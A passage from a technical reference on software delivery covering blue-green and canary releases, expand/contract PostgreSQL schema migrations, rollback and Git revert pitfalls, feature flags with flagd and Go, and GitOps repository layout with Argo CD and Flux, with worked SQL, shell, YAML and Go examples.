# Green runs next to blue; the Service still selects blue
kubectl apply -f deployment-green.yaml
kubectl rollout status deployment/demo-app-green --timeout=180s

# Switch: one selector key changes, everything else stays
kubectl patch service demo-app --type merge \
  -p '{"spec":{"selector":{"track":"green"}}}'

# Rollback while blue still exists: flip the pointer back
kubectl patch service demo-app --type merge \
  -p '{"spec":{"selector":{"track":"blue"}}}'

# Only after the observation window has passed
kubectl delete deployment demo-app-blue

In practice

  • Kubernetes Deployment — Offers `RollingUpdate` (the default, with `maxSurge` and `maxUnavailable` both 25%) and `Recreate`; canary with plain Deployments is a documented pattern.
  • Gateway API — Standard HTTPRoute fields for weighted `backendRefs`, header matches and `RequestMirror`, implemented by gateways such as Envoy Gateway and Istio.
  • Argo Rollouts — A Rollout resource that replaces the Deployment strategy with blue-green or canary steps and analysis.
  • Flagger — Automates canary and blue-green releases for Deployments, checking metrics at each traffic step and rolling back on failure.
  • Istio — Traffic splitting by weight and request mirroring in VirtualService, usable when a mesh already exists.

Trade-offs

Pros

  • Canary limits a defect to a small share of traffic and ties the cost to the exposure
  • Blue-green turns rollback into a pointer flip that takes seconds
  • Shadow traffic exercises the new build on real requests with no user-visible effect
  • Rolling and recreate need no extra routing infrastructure

Cons

  • Blue-green needs roughly double capacity and an idle environment that stays equivalent to production
  • Canary and A/B need weighted routing, per-version metrics and written abort criteria
  • Shadow traffic duplicates side effects and loads dependencies unless they are isolated
  • Everything except recreate runs two versions on one database, so schema changes must be backward compatible

Change a schema in backward-compatible steps (expand, migrate, contract) so old and new application versions can run against the same database during a rollout and a rollback.

The problem

Release 42 renames `users.full_name` to `display_name` in a single migration. The migration runs before the pods roll over, and for the minutes of the rollout the old pods keep running `SELECT full_name` against a table that no longer has the column. Rolling the code back does not help either, because the column is gone. A schema change has to be safe for the code that ran before it and the code that runs after it.

How it works

  • The one-step rename fails in the obvious way. Observed on PostgreSQL 16.15: after `ALTER TABLE users RENAME COLUMN full_name TO display_name` committed, the old release's `SELECT id, full_name FROM users` returned `ERROR: column "full_name" does not exist`, and its `INSERT INTO users (full_name) ...` returned `ERROR: column "full_name" of relation "users" does not exist`. During a rolling, blue-green or canary release both versions are live, and after a rollback the old one is live again, so the schema must serve both.
  • Expand/contract (parallel change) splits it into three phases. Expand adds what the new code needs without removing anything the old code uses (new nullable column, table or index). Migrate backfills, writes both, verifies, and switches reads. Contract removes the old structure only after no old version can run and the rollback window is closed. Each phase ships in its own release; contract is a later release, never the same deploy.
  • Writes during the window need dual-write, either in application code or in a trigger. A naive trigger that fills whichever column is NULL (`coalesce`) left the old column stale: after `UPDATE users SET display_name = 'Ada L.'` the row read `full_name = Ada`, `display_name = Ada L.`, so release N-1 would show old data. Comparing `NEW` with `OLD` and copying from the column that changed gave `Ada Lovelace` in both columns, and later `A. Lovelace` in both after an old-style update (observed).
  • Before reads switch, prove that the columns agree: `SELECT count(*) FROM users WHERE display_name IS DISTINCT FROM full_name` returned 0 in the example. Backfill in batches by key range in short transactions instead of one large `UPDATE`; the postgresql sheet covers batching, `NOT VALID` constraints and safe DDL in detail.
  • A DDL statement waits for its lock in a queue, and everything behind it waits too. Observed with three sessions: session A held an open transaction after a `SELECT`, session B ran `ALTER TABLE ... ADD COLUMN`, session C ran a plain `SELECT`. With `SET lock_timeout = '2s'`, B failed with `ERROR: canceling statement due to lock timeout` and C proceeded after about 1.5 s; without it C waited about 2.6 s, until A finished. Set `lock_timeout` in migration sessions and retry.
  • Know what rewrites the table. Observed via `pg_relation_filenode`: `ADD COLUMN status text NOT NULL DEFAULT 'new'` kept the file (metadata-only, because the default is non-volatile, per the docs; PostgreSQL 11 and later, older releases rewrite), `ADD COLUMN ... DEFAULT clock_timestamp()` changed the filenode (rewrite), and `ALTER COLUMN qty TYPE bigint` changed it as well. `CREATE INDEX CONCURRENTLY` inside `BEGIN` failed with `ERROR: CREATE INDEX CONCURRENTLY cannot run inside a transaction block`, so migration tools that wrap each file in a transaction need that file marked non-transactional.
  • `SET NOT NULL` normally scans the whole table under an exclusive lock, but per the docs the scan is skipped when a valid `CHECK` constraint proves there are no NULLs (PostgreSQL 12 and later). The sequence in the snippet is `ADD CONSTRAINT ... CHECK (...) NOT VALID`, `VALIDATE CONSTRAINT` (which takes SHARE UPDATE EXCLUSIVE per the docs), then `SET NOT NULL`.
  • Placement in the pipeline: run the expand migration as its own job before the rollout, and make it compatible with the code that is currently live. Rolling back code is safe while the old column exists; after contract, undoing means a forward fix or restoring data, because a down-migration cannot bring dropped values back. Tools differ in kind: Flyway and Liquibase order and record migrations, `gh-ost` copies a MySQL table through the binary log, and `pgroll` automates expand/contract for PostgreSQL.

Examples

The three phases with a dual-write trigger, run end to end on PostgreSQL 16.15; the mismatches query returned 0.

sql
-- Release N-1 schema: users(id, full_name text NOT NULL). Goal: rename to display_name.

-- 1. EXPAND (runs before release N is rolled out; release N-1 keeps working)
ALTER TABLE users ADD COLUMN display_name text;

CREATE FUNCTION users_sync_name() RETURNS trigger LANGUAGE plpgsql AS $$
BEGIN
  IF TG_OP = 'INSERT' THEN
    NEW.display_name := coalesce(NEW.display_name, NEW.full_name);
    NEW.full_name    := coalesce(NEW.full_name, NEW.display_name);
  ELSIF NEW.display_name IS DISTINCT FROM OLD.display_name THEN
    NEW.full_name := NEW.display_name;     -- release N wrote the new column
  ELSIF NEW.full_name IS DISTINCT FROM OLD.full_name THEN
    NEW.display_name := NEW.full_name;     -- release N-1 wrote the old column
  END IF;
  RETURN NEW;
END $$;

CREATE TRIGGER users_sync_name BEFORE INSERT OR UPDATE ON users
  FOR EACH ROW EXECUTE FUNCTION users_sync_name();

ALTER TABLE users ALTER COLUMN full_name DROP NOT NULL;

-- 2. MIGRATE: backfill in batches, then prove both columns agree before reads switch
UPDATE users SET display_name = full_name WHERE display_name IS NULL AND id BETWEEN 1 AND 10000;
SELECT count(*) AS mismatches FROM users WHERE display_name IS DISTINCT FROM full_name;

ALTER TABLE users ADD CONSTRAINT users_display_name_nn CHECK (display_name IS NOT NULL) NOT VALID;
ALTER TABLE users VALIDATE CONSTRAINT users_display_name_nn;
ALTER TABLE users ALTER COLUMN display_name SET NOT NULL;

-- 3. CONTRACT (a later release: no N-1 instance left, rollback window closed)
DROP TRIGGER users_sync_name ON users;
DROP FUNCTION users_sync_name();
ALTER TABLE users DROP COLUMN full_name;

Migration runner with lock_timeout and retry; with a transaction left open by another session the first attempt timed out and the second succeeded.

bash
# Run DDL with a short lock_timeout and retry: a waiting ALTER TABLE blocks
# every later query on the table until it gets its lock or gives up.
for attempt in 1 2 3 4 5; do
  if psql "$DATABASE_URL" -v ON_ERROR_STOP=1 -c "SET lock_timeout = '2s'" \
       -c "ALTER TABLE orders ADD COLUMN IF NOT EXISTS note text"; then
    echo "migrated on attempt $attempt"
    break
  fi
  echo "lock wait timed out, retrying in $((attempt * 3))s" >&2
  sleep $((attempt * 3))
done

Check whether a statement rewrites the table by watching the filenode (observed on PostgreSQL 16.15 with 100,000 rows; the numbers differ per cluster).

sql
SELECT pg_relation_filenode('orders');          -- 16422
ALTER TABLE orders ADD COLUMN status text NOT NULL DEFAULT 'new';
SELECT pg_relation_filenode('orders');          -- 16422: metadata-only, no rewrite
ALTER TABLE orders ADD COLUMN created timestamptz NOT NULL DEFAULT clock_timestamp();
SELECT pg_relation_filenode('orders');          -- 16432: volatile default rewrote the table
ALTER TABLE orders ALTER COLUMN qty TYPE bigint;
-- 16438 below: the type change rewrote the table again
SELECT pg_relation_filenode('orders');

In practice

  • pgroll — PostgreSQL migration tool whose README describes an expand/contract workflow: on start it applies the additive changes without breaking the existing schema.
  • gh-ost — GitHub's online schema migration tool for MySQL; it builds a ghost table and applies changes from the binary log instead of using triggers.
  • Flyway — Versioned SQL migrations applied in order; it records state but leaves backward-compatible design to the author.
  • Liquibase — Changelog-based migrations with rollback support, where a rollback of a dropped column still cannot restore the data.
  • Rails strong_migrations — A gem that blocks unsafe migrations such as a plain column rename or a non-concurrent index and suggests the multi-step alternative.

Trade-offs

Pros

  • Old and new application versions both work at every step, so rollouts and rollbacks stay safe
  • Each step is small and reversible until the final contract
  • Lock time stays short because no step rewrites or scans a large table under an exclusive lock
  • Failed deployments can be undone by redeploying code, without touching the database

Cons

  • One logical change becomes three releases, with dual-write code or a trigger in between
  • Triggers and dual writes can silently diverge, as the naive coalesce trigger showed
  • Backfills on large tables take time and load, and must be batched
  • Leftover old columns pile up if the contract release is never scheduled

What must still be true for a rollback to work (artifact, schema, config), when to ship a fix forward instead, how to rehearse it, and what `git revert -m 1` does to a later re-merge.

The problem

Errors climb four minutes after a deploy and the instinct is to roll back. The previous image was removed by the registry's retention policy, the migration dropped a column the old code reads, and the configuration key the old version needs was deleted in the same release. Rollback is a capability that has to be maintained and rehearsed, not a button that always works.

How it works

  • Rollback needs four things to be true: the old artifact still exists, the schema and data still work for the old code, the old configuration and secrets are still available, and the new version has not already done something irreversible (messages published in a new format, emails sent, third-party calls). If any is false, only rolling forward is left.
  • Keep the artifact. In Kubernetes, `kubectl rollout undo` reuses an earlier ReplicaSet, and `.spec.revisionHistoryLimit` (default 10, per the docs) decides how many are kept; at 0 the Deployment cannot roll back. In the registry, retention rules must keep every digest you may return to, which is why deployments should record digests (see build-once-promote).
  • Make rollback the same path as deployment. In the snippet, a `workflow_dispatch` workflow takes a digest, refuses anything that is not `sha256:` plus 64 hex characters, goes through the same `environment` as a forward deploy, and uses a `concurrency` group with `cancel-in-progress: false` so a rollback never cancels or races a deployment. A special-case script written in a hurry fails when it is needed.
  • Rehearse it. A scheduled workflow that deploys the previous release to staging, smoke-tests it, then deploys the current one again finds a missing artifact, a deleted config key or an incompatible migration before an incident does (the example runs on the first of each month). Rollback time is part of DORA's failed deployment recovery time.
  • Mitigate before you diagnose, using the fastest lever: turn off the feature flag (seconds), shift the canary weight to zero or flip the blue-green selector (seconds), redeploy the previous digest (minutes), ship a fix (the pipeline's whole duration). Rolling forward is the right call when the cause is understood and the fix is small, or when rollback is unsafe because data has already moved on; its lower bound is the feedback time of the pipeline.
  • Reverting a merge in Git has a trap. Observed on git 2.43: after `git revert -m 1 <merge>` removed `feature.txt`, a later `git merge feature/x` that only added `fix.txt` to the branch brought in `fix.txt` and not `feature.txt`, because Git considers the original commits already merged. If the later fix touched the deleted file the merge stopped with `CONFLICT (modify/delete): feature.txt deleted in HEAD and modified in feature/x`.
  • The way out is to revert the revert first, then merge the branch again: after `git revert <revert-commit>` the re-merge produced both `feature.txt` and `fix.txt`. The alternative is to open a fresh branch from the corrected state. In GitOps the same rule applies to reverting the commit that promoted a version (see rollback-reverted-playbook).
  • Name what is being rolled back, and where. Application, data, configuration and flags roll back by different mechanisms and at different speeds, and a rollback pointed at the wrong environment is a classic mistake: make the environment an explicit required input, protect production with an approval, and write the digest, actor and reason to the deployment record.

Examples

Rollback as a first-class workflow: same environment gate, validated digest input, no cancelling of a running deployment (actionlint 1.7.12 clean).

yaml
name: rollback
on:
  workflow_dispatch:
    inputs:
      environment:
        description: Target environment
        type: choice
        options: [staging, production]
        default: staging
      image_digest:
        description: Digest of a previously released image (sha256:...)
        type: string
        required: true

permissions:
  contents: read

jobs:
  redeploy:
    runs-on: ubuntu-latest
    environment: ${{ inputs.environment }}
    concurrency:
      group: deploy-${{ inputs.environment }}
      cancel-in-progress: false
    steps:
      - uses: actions/checkout@v7
      - name: Refuse anything that is not a digest
        env:
          DIGEST: ${{ inputs.image_digest }}
        run: |
          [[ "$DIGEST" =~ ^sha256:[0-9a-f]{64}$ ]] || { echo "not a digest: $DIGEST"; exit 1; }
      - name: Redeploy the old artifact
        env:
          DIGEST: ${{ inputs.image_digest }}
          TARGET: ${{ inputs.environment }}
        run: ./deploy.sh "$TARGET" "ghcr.io/example-org/demo-app@$DIGEST"

A monthly drill proves that the previous artifact, its config and its schema still work (actionlint 1.7.12 clean; scripts are placeholders).

yaml
name: rollback-drill
on:
  schedule:
    - cron: "17 6 1 * *"
  workflow_dispatch:

permissions:
  contents: read

jobs:
  drill:
    runs-on: ubuntu-latest
    environment: staging
    steps:
      - uses: actions/checkout@v7
      - name: Deploy the previous release, then the current one
        run: |
          ./deploy.sh staging "$(./scripts/release-digest.sh previous)"
          ./scripts/smoke.sh staging
          ./deploy.sh staging "$(./scripts/release-digest.sh current)"
          ./scripts/smoke.sh staging

Re-merging after reverting a merge silently drops the original change unless the revert is reverted first (observed on git 2.43).

bash
# Revert a merge, then try to merge the branch again
git revert -m 1 --no-edit HEAD            # removes feature.txt
git switch feature/x
echo fix > fix.txt && git add fix.txt && git commit -m "fix x"
git switch main
git merge --no-ff -m "re-merge" feature/x
ls                                        # app.txt fix.txt   (feature.txt is missing)

# Undo the revert first, then merge again
git reset --hard HEAD~1
git revert --no-edit "$(git log --format=%h --grep='^Revert' -1)"
git merge --no-ff -m "re-merge" feature/x
ls                                        # app.txt feature.txt fix.txt

In practice

  • Kubernetes Deployment — `kubectl rollout undo` returns to an earlier revision as long as its ReplicaSet is still within `revisionHistoryLimit`.
  • Helm — `helm rollback RELEASE REVISION` re-applies a stored release revision; stored revisions are limited by `--history-max`.
  • Argo CD — `argocd app rollback` redeploys an earlier deployed revision, but per the docs (as of 2026-10) it cannot be used on an application with automated sync enabled, so the rollback there is a Git revert.
  • GitHub Actions — `workflow_dispatch` inputs and environments make a rollback an auditable, approval-gated run of the same pipeline.
  • Argo Rollouts — Aborts a failing canary or blue-green rollout and returns traffic to the stable ReplicaSet automatically when analysis fails.

Trade-offs

Pros

  • Rollback restores a known-good state quickly without needing to understand the cause
  • A rehearsed rollback path shortens recovery time and removes panic from incidents
  • Rolling forward fixes the real defect and leaves one history of what was shipped
  • Flags and traffic weights give faster mitigation than either redeploying path

Cons

  • Rollback depends on retained artifacts, compatible schema and config that nobody cleaned up
  • A rollback can reintroduce an older bug or an old security hole
  • Roll forward is only as fast as the pipeline, and a rushed fix can add a second defect
  • Revert-and-re-merge in Git needs care, or the original change is lost without any error

Separate deploying code from releasing it with runtime flags, keep a safe default when evaluation fails, bucket users deterministically, and retire flags before they pile up.

The problem

A big change sits on a branch for six weeks because merging it would expose half-finished behaviour to users, and when it finally ships, the only undo is another deploy. Flags break that link between deploying and releasing: code ships dark and is turned on, for a few users first, at runtime. The cost is that every flag is a branch in production code that has to be tested, defaulted safely and eventually deleted.

How it works

  • Deploying and releasing become separate decisions. Code merges to trunk with the flag off, is deployed like any other change, and is switched on later; the kill switch then acts in seconds, whereas a rollback needs a pipeline run. This is what lets trunk-based work keep unfinished features out of users' sight (see branching-strategies).
  • Flags are not all the same. Per the Fowler article on feature toggles there are release toggles (short-lived), experiment toggles (A/B cohorts), ops toggles (operational controls, including a few long-lived kill switches) and permissioning toggles (features per user group such as premium customers, which can live for years). Lifetime and who flips them differ, so a release flag and a permission flag need different owners and different cleanup rules.
  • Flags are inventory with a carrying cost, in the article's words, and the article cites Knight Capital's $460 million mistake as a cautionary tale of unmanaged flags (the article adds “amongst other things”, so flags were not the only cause). Create the removal task together with the flag, record an owner and an expiry in the flag's metadata (`removeBy` in the example), and audit regularly. In the snippet audit, a key defined but never evaluated (`old-search-ranker`) and one evaluated but never defined (`legacy-shipping-calc`, running on its code default) were both found.
  • Evaluation can fail, so the call site supplies the default, and the default is chosen for safety, usually the old behaviour. The Go wrapper logs and returns the caller's default on any provider error or timeout. flagd documents the same idea: when `defaultVariant` is omitted or `null`, flagd falls back to the code-defined default instead of returning an error.
  • Percentage rollouts must be sticky and independent. flagd's `fractional` operation buckets deterministically on a value you pass in, and its docs suggest seeding the hash with the flag key plus the user key (`cat` of `$flagd.flagKey` and the targeting key) so the same users are not first in every rollout. Weights are relative, and a user keeps the same variant while the percentages are unchanged.
  • Treat flag definitions as code. The example flagd YAML validated against the flagd JSON schema (draft-07) with no errors; changing `defaultVariant` to a boolean or `state` to `ON` was rejected. YAML 1.1 parsers read unquoted `on` and `off` keys as booleans (PyYAML produced `{True: True, False: False}`), so the variants are quoted. Validate in CI and review flag changes like code.
  • Test combinations deliberately: n independent boolean flags give 2^n combinations (10 flags are 1,024), and nobody tests them all. Test the shipped configuration, the next configuration to be flipped, and each flag alone against the shipped baseline; avoid flags that depend on each other, and delete a flag as soon as it reaches 100% or is abandoned.
  • A flag flip is a production change. Give it the same controls as a deploy: who may change it, an audit trail, review for flags in Git, and an alert on changes. For migrations, a flag that switches reads from the old to the new column fits the migrate phase, and it is deleted before the contract phase (see db-migrations-expand-contract).

Examples

A flagd flag file: internal users always get it, everyone else is bucketed 10/90 deterministically; it validated against the flagd JSON schema, and 'on'/'off' are quoted on purpose.

yaml
$schema: https://flagd.dev/schema/v0/flags.json
flags:
  checkout-new-pricing:
    state: ENABLED
    variants:
      "on": true
      "off": false
    defaultVariant: "off"
    targeting:
      if:
        - in: [internal, { var: groups }]
        - "on"
        - fractional:
            - cat: [{ var: $flagd.flagKey }, { var: targetingKey }]
            - ["on", 10]
            - ["off", 90]
    metadata:
      owner: team-checkout
      removeBy: "2026-12-01"

The call site owns the default and a timeout, so a flag service outage cannot take the request path down (gofmt and go vet clean).

Go
import (
    "context"
    "log/slog"
    "time"
)

// Provider is whatever evaluates flags: an SDK, a sidecar, a local file.
type Provider interface {
    Bool(ctx context.Context, key string, ec map[string]string) (bool, error)
}

// Flags never returns an error to the caller: a provider outage degrades to
// the default that was reviewed together with the code.
type Flags struct {
    P       Provider
    Timeout time.Duration
}

func (f Flags) Bool(ctx context.Context, key string, def bool, ec map[string]string) bool {
    ctx, cancel := context.WithTimeout(ctx, f.Timeout)
    defer cancel()
    v, err := f.P.Bool(ctx, key, ec)
    if err != nil {
        slog.Warn("flag evaluation failed, using default", "flag", key, "default", def, "err", err)
        return def
    }
    return v
}

A crude stale-flag audit that compares flag keys in code with keys in the flag file (output from a two-file test repository).

bash
# Flags defined but never evaluated, and flags evaluated but never defined
comm -13 \
  <(git grep -ohE 'flags\.Bool\(ctx, "[a-z0-9-]+"' -- 'src/*.go' | sed -E 's/.*"([^"]+)"/\1/' | sort -u) \
  <(sed -nE 's/^  ([a-z0-9-]+):$/\1/p' flags.yaml | sort -u) | sed 's/^/unused definition: /'
comm -23 \
  <(git grep -ohE 'flags\.Bool\(ctx, "[a-z0-9-]+"' -- 'src/*.go' | sed -E 's/.*"([^"]+)"/\1/' | sort -u) \
  <(sed -nE 's/^  ([a-z0-9-]+):$/\1/p' flags.yaml | sort -u) | sed 's/^/undefined, running on code default: /'
# unused definition: old-search-ranker
# undefined, running on code default: legacy-shipping-calc

In practice

  • OpenFeature — A vendor-neutral flag evaluation API with SDKs and providers, so application code does not depend on one flag service.
  • flagd — OpenFeature's flag evaluation daemon that reads JSON or YAML flag files and supports targeting rules and the `fractional` operation.
  • LaunchDarkly — A hosted flag service with targeting rules, percentage rollouts and audit logs.
  • Unleash — Open-source feature toggle system with activation strategies such as gradual rollout.
  • Flagsmith — Open-source and hosted flag service with segments, remote configuration and environments.

Trade-offs

Pros

  • Unfinished work merges to trunk without being visible to users
  • A kill switch undoes a feature in seconds without a pipeline run
  • Gradual exposure limits the number of users who meet a defect
  • Targeting by cohort, customer or environment needs no separate deployments

Cons

  • Every flag is a conditional that must be tested, and combinations grow as 2^n
  • Stale flags become dead code and sometimes dangerous code, so cleanup needs an owner and a date
  • The flag service becomes a runtime dependency that needs safe defaults and timeouts
  • A flag change is a production change that can bypass review unless flags live in code or have an audit trail

GitOps fundamentals

The four OpenGitOps principles (declarative, versioned and immutable, pulled automatically, continuously reconciled), how pull differs from a CI push, and what does not fit.

The problem

A pipeline job runs `kubectl apply` with a cluster-admin kubeconfig stored as a CI secret. Nothing records what the cluster should look like between runs: someone edits a Deployment by hand during an incident, the next run overwrites it or never touches it, and a rollback is yet another pipeline run that needs the same credentials. GitOps moves the source of truth into Git and puts the actor inside the cluster, where it pulls and keeps reconciling instead of waiting to be pushed to.

How it works

  • OpenGitOps (principles v1.0.0 on opengitops.dev, as of 2026-10) lists four principles. `1 Declarative`: "A system managed by GitOps must have its desired state expressed declaratively." `2 Versioned and Immutable`: "Desired state is stored in a way that enforces immutability, versioning and retains a complete version history."
  • `3 Pulled Automatically`: "Software agents automatically pull the desired state declarations from the source." `4 Continuously Reconciled`: "Software agents continuously observe actual system state and attempt to apply the desired state." Argo CD and Flux are the two agents this sheet covers.
  • Pull matters for timing, not only for credentials. The OpenGitOps glossary says the agents must be able to read the desired state "at any time, not only when there is an intentional change in the state store triggering a push event", because that is what lets reconciliation run when the cluster drifts and nothing was committed. A CI push acts only when its trigger fires.
  • Continuous does not mean instant: the glossary says reconciliation "continues to happen, not that it must be instantaneous". Argo CD polls Git every 120 s plus up to 60 s of jitter by default, so at most about 3 minutes (`timeout.reconciliation` and `timeout.reconciliation.jitter` in `argocd-cm`, per the FAQ as of 2026-10; a webhook shortens the wait). A Flux `Kustomization` reconciles every `spec.interval` (the docs say the value should be at least 60 seconds) and immediately when its spec or the source revision changes. Not run here.
  • Pull changes who holds credentials. Per the Argo CD docs, with automated sync "CI/CD pipelines no longer need direct access to the Argo CD API server": the pipeline commits and pushes to the config repository, and the in-cluster agent holds the cluster permissions. The pipeline's blast radius shrinks to write access on one repository, which branch protection can gate.
  • Rollback becomes a Git operation. `git revert` adds a new commit that undoes an earlier one, and the agent applies it like any other change. Observed on git 2.43: reverting a `--no-ff` merge commit needs `-m 1`, otherwise it fails with `error: commit <sha> is a merge but no -m option was given.` and `fatal: revert failed`. History is rolled forward, so the audit trail keeps both the bad change and its undo.
  • Desired state is not everything. The glossary defines it as configuration "sufficient to recreate the system" that "generally does not include persistent application data, eg. database contents", so a revert does not undo a migration or restore rows. Fields owned by another controller should stay out of Git too: the Argo CD best practices page tells you to omit `replicas` when a HorizontalPodAutoscaler manages it.
  • Immutable is a property you have to keep. A branch can be force-pushed, and templating can change meaning without a commit in your repository: the Argo CD best practices page shows a kustomization whose remote base `github.com/argoproj/argo-cd//manifests/cluster-install` follows HEAD, so the rendered manifests can change on their own, and recommends pinning `?ref=<tag or commit SHA>`. The glossary also expects the state store to provide access control and auditing.

Examples

Promote and undo as commits: the revert is a new commit that the agent applies like any other change (git 2.43; -m 1 is required for a merge commit).

bash
mkdir demo-config && cd demo-config && git init -q -b main
git config user.name demo && git config user.email demo@example.com
mkdir -p overlays/prod
cat > overlays/prod/kustomization.yaml <<'EOF'
apiVersion: kustomize.config.k8s.io/v1beta1
kind: Kustomization
resources:
  - ../../base
images:
  - name: ghcr.io/example/demo-app
    newTag: 1.0.0
EOF
git add -A && git commit -qm "prod runs 1.0.0"

# A change reaches prod only as a commit on main
git switch -q -c promote-1.1.0
sed -i 's/newTag: 1.0.0/newTag: 1.1.0/' overlays/prod/kustomization.yaml
git commit -qam "promote demo-app 1.1.0 to prod"
git switch -q main && git merge -q --no-ff promote-1.1.0 -m "Merge promote 1.1.0"

# The release is bad: undo it with history, not with kubectl
git revert -m 1 --no-edit HEAD     # -m 1 is required for a merge commit
grep newTag overlays/prod/kustomization.yaml    # newTag: 1.0.0 again
git log --oneline                  # the revert is a new commit on top

The agent side in Argo CD: an Application that pulls overlays/prod from main and keeps reconciling (kubeconform with the CRDs catalog: valid).

yaml
apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
  name: demo-app-prod
  namespace: argocd
spec:
  project: default
  source:
    repoURL: https://github.com/example/demo-config.git
    targetRevision: main
    path: overlays/prod
  destination:
    server: https://kubernetes.default.svc
    namespace: prod
  syncPolicy:
    automated:
      prune: true
      selfHeal: true

The same contract in Flux: a Kustomization with an interval and prune, pointing at a GitRepository (kubeconform with the CRDs catalog: valid).

yaml
apiVersion: kustomize.toolkit.fluxcd.io/v1
kind: Kustomization
metadata:
  name: demo-app-prod
  namespace: flux-system
spec:
  interval: 10m
  path: ./overlays/prod
  prune: true
  sourceRef:
    kind: GitRepository
    name: demo-config
  targetNamespace: prod

In practice

  • Argo CD — Pulls from Git, renders with Helm or Kustomize and compares with the live cluster; `automated` sync policy applies a new commit without a pipeline calling its API.
  • Flux — A set of controllers (source, kustomize, helm, notification) that reconcile on an interval and on new source revisions.
  • OpenGitOps — The GitOps Working Group's principles v1.0.0 and glossary, which define pull, continuous reconciliation and the state store.
  • Kubernetes controllers — The same observe-compare-apply loop GitOps agents use, applied to Deployments, ReplicaSets and Jobs inside the cluster.
  • GitHub Actions — The push-style counterpart: a workflow that runs `kubectl apply` with stored credentials acts only when triggered and does not see drift.

Trade-offs

Pros

  • Cluster credentials stay inside the cluster; the pipeline needs write access to one config repository
  • Every change and every rollback is a commit with an author, a review and a timestamp
  • Drift is detected continuously and can be reverted automatically
  • The desired state is enough to recreate the cluster from the repository

Cons

  • Changes apply minutes after the merge unless a webhook or manual refresh shortens the poll
  • Secrets cannot sit in Git as plain text, so they need a separate mechanism
  • Reverting Git does not revert data, migrations or external side effects
  • Failures show up in controller status and events, not in a pipeline run

Separate application source from deployment config, then choose directory-per-environment or branches, one repo or several, and where the access boundary falls.

The problem

The Deployment manifests live next to the application code. Bumping `replicas` from 2 to 3 starts a full CI build, the service history is mixed with config commits, and the CI job that writes the new image tag back into the same repository triggers itself. Meanwhile production exists as a long-lived branch that has drifted from main by a hundred commits, and nobody can say which of the differences are intentional.

How it works

  • The Argo CD best practices page recommends a separate config repository and gives five reasons: manifest-only changes should not trigger a CI build, the audit log stays free of development noise, an application built from several repositories deploys as one unit, developers can have commit access to the source repository without it on the config repository, and pushing manifests to the same repository "can trigger an infinite loop of build jobs and Git commit triggers".
  • Directory per environment on one default branch is the layout the Flux repository-structure guide uses: `apps/{base,staging,production}`, `infrastructure/{base,staging,production}` and `clusters/{staging,production}`, with each cluster directory referencing its own overlays and branches kept short-lived. A promotion is then a file change in a pull request, and the difference between two environments is a plain `diff -r overlays/staging overlays/prod`.
  • Long-lived environment branches turn promotion into merges and cherry-picks, and the actual difference between environments is spread across history instead of sitting in two directories. Neither Argo CD nor Flux needs them: both read a path at a revision, so one branch with several paths is enough. The monorepo layout in the Flux guide keeps every environment on `main`.
  • Read access is not granular. The Flux guide notes that in a monorepo "all team members can read the production config since Git is not designed to restrict access to certain files", and that a separate production repository lets you grant it to a subset while everyone can still clone staging. Write access is separate: with CODEOWNERS and the branch protection option "Require review from Code Owners" (GitHub docs), changes under `overlays/prod/` need the owners' approval.
  • The Flux guide describes four shapes: monorepo, repo per environment, repo per team and repo per app (the app repository holds the base manifests and the config repository points at them). In the repo-per-team shape, a platform team owns cluster add-ons and the `GitRepository`/`Kustomization` objects that onboard teams, while each dev team owns its app definitions and overlays. Splitting infrastructure from apps also lets one Flux Kustomization depend on another, so add-ons reconcile before the apps that need them.
  • The tree can drive the controller. An Argo CD `ApplicationSet` with a `git` generator and `directories: [{path: overlays/*}]` creates one Application per matching directory, and directories starting with `.` are skipped automatically (per the docs); each new environment directory becomes a deployment target without editing a central list.
  • Pin what you build from. A kustomization that references `github.com/org/repo//path` without `?ref=` follows the default branch, so the rendered manifests change with no commit in your repository (Argo CD best practices). If a Flux `Kustomization` points at a path without a `kustomization.yaml`, Flux generates one over every manifest in the tree; the docs recommend committing your own and validating it in CI.
  • Validate in CI before the merge, because the controller will apply whatever renders. Observed with kubeconform on Kubernetes 1.31.0 schemas: `replicas: "two"` fails with `got string, want null or integer`, and a misspelled `portz` fails with `additional properties 'portz' not allowed`. Custom resources need the CRDs catalog as a second `-schema-location`; without it kubeconform fails with `could not find schema for <Kind>` (observed with HTTPRoute), and only `-ignore-missing-schemas` skips them.

Examples

A config repository with one base and one overlay directory per environment (the tree was created and listed in a scratch directory).

bash
# Config repository (separate from the application source repository)
mkdir -p base overlays/staging overlays/prod
touch base/kustomization.yaml base/deployment.yaml base/service.yaml
touch overlays/staging/kustomization.yaml overlays/prod/kustomization.yaml
find . -type f | sort
#   ./base/deployment.yaml
#   ./base/kustomization.yaml
#   ./base/service.yaml
#   ./overlays/prod/kustomization.yaml
#   ./overlays/staging/kustomization.yaml
# One directory per environment on the default branch: a promotion is a
# one-file diff, and `diff -r overlays/staging overlays/prod` shows how
# the two environments differ.

An ApplicationSet whose git generator turns every overlays/* directory into an Application (kubeconform with the CRDs catalog: valid; generator behaviour per the docs, not run here).

yaml
apiVersion: argoproj.io/v1alpha1
kind: ApplicationSet
metadata:
  name: demo-envs
  namespace: argocd
spec:
  goTemplate: true
  goTemplateOptions: ["missingkey=error"]
  generators:
    - git:
        repoURL: https://github.com/example/demo-config.git
        revision: main
        directories:
          - path: overlays/*
  template:
    metadata:
      name: "demo-app-{{.path.basename}}"
    spec:
      project: default
      source:
        repoURL: https://github.com/example/demo-config.git
        targetRevision: main
        path: "{{.path.path}}"
      destination:
        server: https://kubernetes.default.svc
        namespace: "{{.path.basename}}"

Config-repo CI: render each overlay and validate it before merge (actionlint 1.7.12 clean; assumes kustomize and kubeconform are installed on the runner).

yaml
name: validate-config
on:
  pull_request:
    paths:
      - "base/**"
      - "overlays/**"
permissions:
  contents: read
jobs:
  render:
    runs-on: ubuntu-24.04
    strategy:
      matrix:
        env: [staging, prod]
    steps:
      - uses: actions/checkout@v7
      - name: Build and validate the overlay
        run: |
          kustomize build "overlays/${{ matrix.env }}" > rendered.yaml
          kubeconform -strict -summary -kubernetes-version 1.31.0 rendered.yaml

In practice

  • Argo CD — Its best practices page recommends a config repository separate from application source and pinning remote bases to a tag or commit.
  • Flux — The flux2-kustomize-helm-example repository and the repository-structure guide show the apps, infrastructure and clusters layout.
  • Argo CD ApplicationSet — Generates one Application per directory or per file found by its git generator, so the tree defines the environments.
  • GitHub CODEOWNERS — Requests review from the owners of the paths a pull request changes, and branch protection can make their approval mandatory.
  • kubeconform — Validates the rendered output of each overlay against Kubernetes and CRD schemas in CI.

Trade-offs

Pros

  • Config changes get their own review, history and permissions
